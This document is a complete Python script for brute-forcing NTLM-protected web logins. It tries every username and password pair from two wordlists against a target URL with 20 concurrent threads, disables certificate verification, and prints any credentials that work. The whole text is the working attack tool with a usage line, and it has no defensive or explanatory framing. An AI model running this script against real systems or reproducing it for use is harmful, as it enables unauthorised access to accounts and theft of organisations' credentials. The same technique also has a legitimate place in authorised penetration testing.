NTLM brute-force

ntml_brute_force.py

# Usage: python3 ntlm.py https://example.com users.txt passwords.txt

import requests
from requests_ntlm import HttpNtlmAuth
import urllib3
import argparse
import concurrent.futures

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def brute_force_ntlm(url, username, password):
    response = requests.get(url, auth=HttpNtlmAuth(username, password), verify=False)
    if response.status_code == 200:
        print(f"[+] Success: {username}:{password}")
        return (username, password)
    elif response.status_code == 401:
        print(".", end="", flush=True)  # Show dots for failed attempts
    else:
        print(f"[!] Unexpected response: {response.status_code}")
    return None

def run_bruteforce(url, user_list, pass_list):
    with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor:
        futures = []
        for username in user_list:
            for password in pass_list:
                futures.append(executor.submit(brute_force_ntlm, url, username, password))

        # Wait for all threads to finish
        for future in concurrent.futures.as_completed(futures):
            result = future.result()
            if result:
                return result

    print("\n[-] No valid credentials found.")
    return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="NTLM Brute Force Script")
    parser.add_argument("url", help="Target NTLM-protected URL")
    parser.add_argument("username_file", help="Path to username list")
    parser.add_argument("password_file", help="Path to password list")
    args = parser.parse_args()

    with open(args.username_file, "r") as users, open(args.password_file, "r") as passwords:
        user_list = users.read().splitlines()
        pass_list = passwords.read().splitlines()

    run_bruteforce(args.url, user_list, pass_list)